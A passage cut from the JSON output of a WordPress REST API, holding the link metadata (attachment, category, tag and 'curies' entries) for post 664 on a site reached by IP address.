6"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=664"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=664"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=664"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}